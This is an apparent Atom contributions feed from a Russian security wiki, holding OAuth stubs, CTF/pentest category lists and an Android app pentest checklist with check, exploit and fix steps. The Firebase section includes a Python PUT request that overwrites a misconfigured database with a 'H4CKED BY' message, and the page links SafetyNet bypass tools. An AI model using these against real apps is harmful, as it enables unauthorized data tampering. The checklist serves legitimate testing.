<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
		<id>http://itsecwiki.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Drakylar</id>
		<title>InformationSecurity WIKI - Вклад участника [ru]</title>
		<link rel="self" type="application/atom+xml" href="http://itsecwiki.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Drakylar"/>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%92%D0%BA%D0%BB%D0%B0%D0%B4/Drakylar"/>
		<updated>2026-05-18T19:42:07Z</updated>
		<subtitle>Вклад участника</subtitle>
		<generator>MediaWiki 1.27.7</generator>

	<entry>
		<id>http://itsecwiki.org/index.php?title=OAuth&amp;diff=1242</id>
		<title>OAuth</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=OAuth&amp;diff=1242"/>
				<updated>2026-01-30T15:35:30Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Категория:Web]]&lt;br /&gt;
&lt;br /&gt;
Страница посвящена OAuth и тому, как тестировать ее безопасность&lt;br /&gt;
&lt;br /&gt;
= Основная информация =&lt;br /&gt;
&lt;br /&gt;
== Алгоритм работы ==&lt;br /&gt;
&lt;br /&gt;
=== OAuth 1.0 ===&lt;br /&gt;
&lt;br /&gt;
=== OAuth 2.0 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Атаки =&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Документация ==&lt;br /&gt;
&lt;br /&gt;
[https://habr.com/ru/articles/77648/| Habr - Oauth 1.0]&lt;br /&gt;
&lt;br /&gt;
[https://habr.com/ru/companies/vk/articles/115163/| Habr - Oauth 2.0]&lt;br /&gt;
&lt;br /&gt;
== Программы ==&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=OAuth&amp;diff=1241</id>
		<title>OAuth</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=OAuth&amp;diff=1241"/>
				<updated>2026-01-30T15:35:19Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Категория:Web]]&lt;br /&gt;
&lt;br /&gt;
Страница посвящена OAuth и тому, как тестировать ее безопасность&lt;br /&gt;
&lt;br /&gt;
= Основная информация =&lt;br /&gt;
&lt;br /&gt;
== Алгоритм работы ==&lt;br /&gt;
&lt;br /&gt;
=== OAuth 1.0 ===&lt;br /&gt;
&lt;br /&gt;
=== OAuth 2.0 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Атаки =&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Документация ==&lt;br /&gt;
&lt;br /&gt;
[[https://habr.com/ru/articles/77648/| Habr - Oauth 1.0]]&lt;br /&gt;
&lt;br /&gt;
[[https://habr.com/ru/companies/vk/articles/115163/| Habr - Oauth 2.0]]&lt;br /&gt;
&lt;br /&gt;
== Программы ==&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=OAuth&amp;diff=1240</id>
		<title>OAuth</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=OAuth&amp;diff=1240"/>
				<updated>2026-01-30T13:45:14Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «Категория:Web  Страница посвящена OAuth и тому, как тестировать ее безопасность  = Основная…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Категория:Web]]&lt;br /&gt;
&lt;br /&gt;
Страница посвящена OAuth и тому, как тестировать ее безопасность&lt;br /&gt;
&lt;br /&gt;
= Основная информация =&lt;br /&gt;
&lt;br /&gt;
== Алгоритм работы ==&lt;br /&gt;
&lt;br /&gt;
== Какие данные у Сервера авторизации ==&lt;br /&gt;
&lt;br /&gt;
== Какие данные у Сервера перенаправляющего на oauth ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Атаки =&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Документация ==&lt;br /&gt;
&lt;br /&gt;
== Программы ==&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:Web&amp;diff=1239</id>
		<title>Категория:Web</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:Web&amp;diff=1239"/>
				<updated>2026-01-30T13:34:40Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Список статей по вебу для решения CTF тасков.      &lt;br /&gt;
&lt;br /&gt;
* [[:OAuth|OAuth]]&lt;br /&gt;
* [[:.git|.git папка]]&lt;br /&gt;
* [[:.svn|.svn папка]]&lt;br /&gt;
* [[:xss|Cross-Site Scripting уязвимость]]&lt;br /&gt;
* [[:sqlinj|SQL Injection уязвимость]]&lt;br /&gt;
* [[:csrf|Cross-Site Request Forgery уязвимость]]&lt;br /&gt;
* [[:ssrf|Server-Side Request Forgery уязвимость]]&lt;br /&gt;
* [[:xxe|XML External Entity уязвимость]]&lt;br /&gt;
* [[:lfi|Local File Inclusion уязвимость]]&lt;br /&gt;
* [[:rfi|Remote File Inclusion уязвимость]]&lt;br /&gt;
* [[:NULL|Null Byte Injection уязвимость]]&lt;br /&gt;
* [[:nosqlinj|NoSQL Injection уязвимость]]&lt;br /&gt;
* [[:rce_web|Remote Code Execution уязвимость]]&lt;br /&gt;
* [[:xpath|XPath Injection уязвимость]]&lt;br /&gt;
* [[:ssi|Server-Side Includes Injection уязвимость]]&lt;br /&gt;
* [[:templateInj| Template injection]]&lt;br /&gt;
* [[:digest_auth|Дайджест-аутентификация доступа]]&lt;br /&gt;
* [[:wget|Работа с WGET]]&lt;br /&gt;
* [[:cssi|CSS Injection уязвимость]]&lt;br /&gt;
&lt;br /&gt;
Инструментарий для работы&lt;br /&gt;
* [[:burp|Burp Suite]]&lt;br /&gt;
* [[:ZAP|OWASP ZAP]]&lt;br /&gt;
* [[:dirbuster|OWASP DirBurster]]&lt;br /&gt;
* [[:sqlmap|SQLmap]]&lt;br /&gt;
&lt;br /&gt;
Пентест часть&lt;br /&gt;
&lt;br /&gt;
* [[http_all| Изучение http сервера]]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:Pentest&amp;diff=1238</id>
		<title>Категория:Pentest</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:Pentest&amp;diff=1238"/>
				<updated>2026-01-05T12:15:08Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
В данной категории рассмотрим утилиты и общие способы изучения какого-либо сервера. &lt;br /&gt;
&lt;br /&gt;
* [[pentest_all|Общий план работы]]&lt;br /&gt;
&lt;br /&gt;
* [[port_scan| Все о сканнировании портов]]&lt;br /&gt;
&lt;br /&gt;
* [[bugbounty| Bugbounty one-lines]]&lt;br /&gt;
&lt;br /&gt;
* [[honeypot_hack| Детектирование honeypot'ов]]&lt;br /&gt;
&lt;br /&gt;
* [[hadoop | Apache Hadoop]]&lt;br /&gt;
&lt;br /&gt;
* [[kubernetes | Kubernetes]]&lt;br /&gt;
** [[kubernetes_api | Kubernetes API команды]]&lt;br /&gt;
** [[docker_escape | Docker escape]]&lt;br /&gt;
&lt;br /&gt;
* Windows&lt;br /&gt;
** [[amsi | AMSI]]&lt;br /&gt;
** [[clm | Constrained Language Mode]]&lt;br /&gt;
** [[applocker | AppLocker]]&lt;br /&gt;
** [[powershell_obfuscation| Обфускация PowerShell скрипта]]&lt;br /&gt;
** [[active_directory | Active Directory]]&lt;br /&gt;
** [[ad_windows_ldap | AD Windows - LDAP]]&lt;br /&gt;
&lt;br /&gt;
* Mobile&lt;br /&gt;
** [[android | Android]]&lt;br /&gt;
** [[ios | IOS]]&lt;br /&gt;
&lt;br /&gt;
* Облака&lt;br /&gt;
** [[aws | AWS]]&lt;br /&gt;
&lt;br /&gt;
* [[brute_force| Перебор параметров (логины/пароли/директории/...)]]&lt;br /&gt;
&lt;br /&gt;
* [[offline_bruteforce | Оффлайн перебор (хеши/токены)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Android&amp;diff=1237</id>
		<title>Android</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Android&amp;diff=1237"/>
				<updated>2024-02-18T16:16:19Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Список проверок */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Категория:Pentest]]&lt;br /&gt;
&lt;br /&gt;
Страница посвящена тестированию на проникновение Android-приложений.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Этап I - получение APK = &lt;br /&gt;
&lt;br /&gt;
== С устройства ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Из интернета ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Этап II - Распаковка приложения =&lt;br /&gt;
&lt;br /&gt;
= Этап III - получение исходных кодов =&lt;br /&gt;
&lt;br /&gt;
= Этап IV - включение отладки =&lt;br /&gt;
&lt;br /&gt;
= Этап VI - патчинг =&lt;br /&gt;
&lt;br /&gt;
== .smali ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== .java ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Этап V - подключение frida = &lt;br /&gt;
&lt;br /&gt;
= Этап VI - переупаковка приложения =&lt;br /&gt;
&lt;br /&gt;
= Этап VII - добавление подписи =&lt;br /&gt;
&lt;br /&gt;
= Этап VIII - сборка приложения =&lt;br /&gt;
&lt;br /&gt;
= Этап IX - запуск приложения =&lt;br /&gt;
&lt;br /&gt;
== На эмуляторе ==&lt;br /&gt;
&lt;br /&gt;
== На устройстве ==&lt;br /&gt;
&lt;br /&gt;
= Список проверок =&lt;br /&gt;
&lt;br /&gt;
== Наличие обфускации ==&lt;br /&gt;
&lt;br /&gt;
Как правило относится только к Java-коду но в редких случаях и к native-библиотекам.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Для Java - достаточно посмотреть читается ли декомпилированный код или нет.&lt;br /&gt;
&lt;br /&gt;
Для Native сложнее - нужно открыть ее в дизассемблере и уже смотреть статьи по обфускации кода (например добавление Virtual Machine в ассемблерный код)&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Просто чтение кода и изучение используемых алгоритмов.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Использовать бесплатные или платные(лучше) обфускаторы кода.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ROOT detection ==&lt;br /&gt;
&lt;br /&gt;
Определяет есть ли на устройстве рут или нет.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Либо поиск по ключевым словам &amp;quot;root&amp;quot;, &amp;quot;safetynet api&amp;quot;, &amp;quot;play integrity&amp;quot; либо запуск на рутованном девайсе&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также часть решений могут детектить по работе с директориями которые по-умолчанию закрыты (например /etc/)&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Отсутствует, просто best-practice&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Добавление детекта например на базе платных продуктов или Play Integrity API.&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Устаревший SafetyNetAPI ==&lt;br /&gt;
&lt;br /&gt;
Использование устаревшего SafetyNetAPI для проверки целостности, рута и тд.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Поиск в коде по строке &amp;quot;SafetyNet&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Magisc Bypass - https://github.com/kdrag0n/safetynet-fix/&lt;br /&gt;
&lt;br /&gt;
Zygisk Bypass with detection evasion https://github.com/kdrag0n/safetynet-fix/issues/269 &lt;br /&gt;
&lt;br /&gt;
Youtube - https://www.youtube.com/watch?v=2J4QHsB5lsA&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Использовать новый Play Integrity&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
https://developer.android.com/privacy-and-security/safetynet/attestation&lt;br /&gt;
&lt;br /&gt;
https://developer.android.com/privacy-and-security/safetynet/deprecation-timeline&lt;br /&gt;
&lt;br /&gt;
https://developer.android.com/google/play/integrity&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Отсутствие проверки на контейнеризацию ==&lt;br /&gt;
&lt;br /&gt;
Китайцы опубликовали новое решение под названием MultiApp - https://github.com/WaxMoon/MultiApp и демо-приложением https://github.com/WaxMoon/MultiAppDemo и именно это приложение легло в основу VCamera. VCamera использует &amp;quot;HackAPI&amp;quot; которое указано в &amp;quot;MultiApp&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать другое приложение в контейнере с (как я понял) перехватом части системных вызовов, например камеры.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Самая быстрая проверка - скачивание VCamera и тестирование с приложением https://play.google.com/store/apps/details?id=virtual.camera.app&amp;amp;hl=en_GB&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
На данный момент самое простое - VCamera и показать что камера была подменена.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Проверки надо делать в Native-коде (С/C++ код) приложения с вызовом syscall&lt;br /&gt;
&lt;br /&gt;
пример такой проверки - https://github.com/andvipgroup/VCamera/blob/f12f0b9c7131948b9369dd50aee3f3a23ab249e1/check_env_demo/code/native-lib.cpp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Почему так можно определить окружение? Как я понял, потому что хуки если и можно вешать, то не на системные функции ядра (по крайней мере без рута), поэтому вызов системных функций из Native-кода позволяет определить такую виртуализацию.&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
https://play.google.com/store/apps/details?id=virtual.camera.app&amp;amp;hl=en_GB&lt;br /&gt;
&lt;br /&gt;
https://github.com/WaxMoon/MultiApp&lt;br /&gt;
&lt;br /&gt;
https://github.com/WaxMoon/MultiAppDemo&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Секреты в коде ==&lt;br /&gt;
&lt;br /&gt;
Спрятанные в коде секреты&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
1. Искать самому секреты по ключевым словам&lt;br /&gt;
&lt;br /&gt;
2. Использовать SemGrep для поиска секретов&lt;br /&gt;
&lt;br /&gt;
3. Использовать автоматические утилиты (например, MobSF) которые ищут в тч секреты&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
В зависимости от полученного секрета.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Убрать секреты из кода приложения (иногда меняя архитектуру системы).&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Остаточная информация ==&lt;br /&gt;
&lt;br /&gt;
Поиск остаточной информации после компиляции в коде приложения.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Что за информация может быть:&lt;br /&gt;
&lt;br /&gt;
1. Private URLs&lt;br /&gt;
&lt;br /&gt;
2. IP-addresses&lt;br /&gt;
&lt;br /&gt;
3. Private API-endpoints&lt;br /&gt;
&lt;br /&gt;
4. Полный путь компиляции (включая имя пользователя)&lt;br /&gt;
&lt;br /&gt;
5. ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Поиск опять же с SemGrep, MobSF или вручную.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Зависит от полученной информации, обычно не эксплуатируется отдельно от других уязвимостей.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
(Просто удалите если оно не требуется)&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Небезопасные привилегии ==&lt;br /&gt;
&lt;br /&gt;
В AndroidManifest.xml есть список привилегий приложения.&lt;br /&gt;
Некоторые из них могут быть опасны.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Обычно можно не мучиться и дать MobSF проверить привилегии.&lt;br /&gt;
&lt;br /&gt;
JadX может распаковать AndroidManifest.xml и перевести его в читаемый формат.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
В зависимости от привилегий, но как правила это просто best-practise.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Отключение ненужных или опасных привилегий.&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== FireBase Misconfiguration ==&lt;br /&gt;
&lt;br /&gt;
Различные мисконфиги сервиса FireBase по сбору логов.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Поиск по подстроке &amp;quot;firebase&amp;quot; - поиск firebase url.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Один из вариантов - попытаться сдампить FireBase DB.&lt;br /&gt;
&lt;br /&gt;
Пример - вы нашли URL test.firebaseio.com&lt;br /&gt;
&lt;br /&gt;
Попробуйте открыть test.firebaseio.com/.json - если есть бд то уязвимо.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другой вариант - сделать PUT запрос на&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import requests&lt;br /&gt;
data= {&amp;quot;Exploit&amp;quot;:&amp;quot;Successfull&amp;quot;, &amp;quot;H4CKED BY&amp;quot;: &amp;quot;Sheikh Rishad&amp;quot;}&lt;br /&gt;
reponse = requests.put(&amp;quot;https://test.firebaseio.com/.json&amp;quot;, json=data)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
И проверить заменились ли данные. Но! Осторожнее мб бд перезаписывает.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
https://cyberweapons.medium.com/misconfigured-firebase-db-on-both-android-and-web-apps-a85927e4678f&lt;br /&gt;
&lt;br /&gt;
https://hackerone.com/reports/1065134&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== AndroidManifest.xml - Debug ==&lt;br /&gt;
&lt;br /&gt;
Включенный дебаг позволяет отладчику с ADB подключаться и отлаживать приложение.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
debuggable=&amp;quot;true&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Поиск этой строки в AndroidManifest.xml&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также это можно найти автоматически с MobSF.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Обычно проще всего это сделать в AndroidStudio - выбрать устройство для отладки при открытом APK-файле.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
debuggable=&amp;quot;false&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== AndroidManifest.xml - Backup ==&lt;br /&gt;
&lt;br /&gt;
Включенная возможность бекапить приложение с настройками.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
android:allowBackup=&amp;quot;true&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Поиск этой строки в AndroidManifest.xml&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также это можно найти автоматически с MobSF.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Для Samsung мб нужно будет удалить безопасное хранилище Knox.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
adb shell pm list packages -f -3&lt;br /&gt;
# Список приложений&lt;br /&gt;
...&lt;br /&gt;
# Замените на ссылку приложения&lt;br /&gt;
adb pull /data/app/org.fedorahosted.freeotp-Rbf2NWw6F-SqSKD7fZ_voQ==/base.apk freeotp.apk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
android:allowBackup=&amp;quot;false&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
https://gist.github.com/AnatomicJC/e773dd55ae60ab0b2d6dd2351eb977c1&lt;br /&gt;
&lt;br /&gt;
== TEST ==&lt;br /&gt;
&lt;br /&gt;
Краткое_описание&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
== TEST ==&lt;br /&gt;
&lt;br /&gt;
Краткое_описание&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Android&amp;diff=1236</id>
		<title>Android</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Android&amp;diff=1236"/>
				<updated>2024-02-17T23:05:45Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «Категория:Pentest  Страница посвящена тестированию на проникновение Android-приложений.   = Э…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Категория:Pentest]]&lt;br /&gt;
&lt;br /&gt;
Страница посвящена тестированию на проникновение Android-приложений.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Этап I - получение APK = &lt;br /&gt;
&lt;br /&gt;
== С устройства ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Из интернета ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Этап II - Распаковка приложения =&lt;br /&gt;
&lt;br /&gt;
= Этап III - получение исходных кодов =&lt;br /&gt;
&lt;br /&gt;
= Этап IV - включение отладки =&lt;br /&gt;
&lt;br /&gt;
= Этап VI - патчинг =&lt;br /&gt;
&lt;br /&gt;
== .smali ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== .java ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Этап V - подключение frida = &lt;br /&gt;
&lt;br /&gt;
= Этап VI - переупаковка приложения =&lt;br /&gt;
&lt;br /&gt;
= Этап VII - добавление подписи =&lt;br /&gt;
&lt;br /&gt;
= Этап VIII - сборка приложения =&lt;br /&gt;
&lt;br /&gt;
= Этап IX - запуск приложения =&lt;br /&gt;
&lt;br /&gt;
== На эмуляторе ==&lt;br /&gt;
&lt;br /&gt;
== На устройстве ==&lt;br /&gt;
&lt;br /&gt;
= Список проверок =&lt;br /&gt;
&lt;br /&gt;
== Проверка ИМЯ1 ==&lt;br /&gt;
&lt;br /&gt;
Краткое_описание&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Проверка ИМЯ2 ==&lt;br /&gt;
&lt;br /&gt;
Краткое_описание&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Ios&amp;diff=1235</id>
		<title>Ios</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Ios&amp;diff=1235"/>
				<updated>2024-02-17T23:00:02Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «Категория:Pentest  Страница посвящена тестированию на проникновение IOS-приложений.»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Категория:Pentest]]&lt;br /&gt;
&lt;br /&gt;
Страница посвящена тестированию на проникновение IOS-приложений.&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:Pentest&amp;diff=1234</id>
		<title>Категория:Pentest</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:Pentest&amp;diff=1234"/>
				<updated>2024-02-17T22:58:41Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
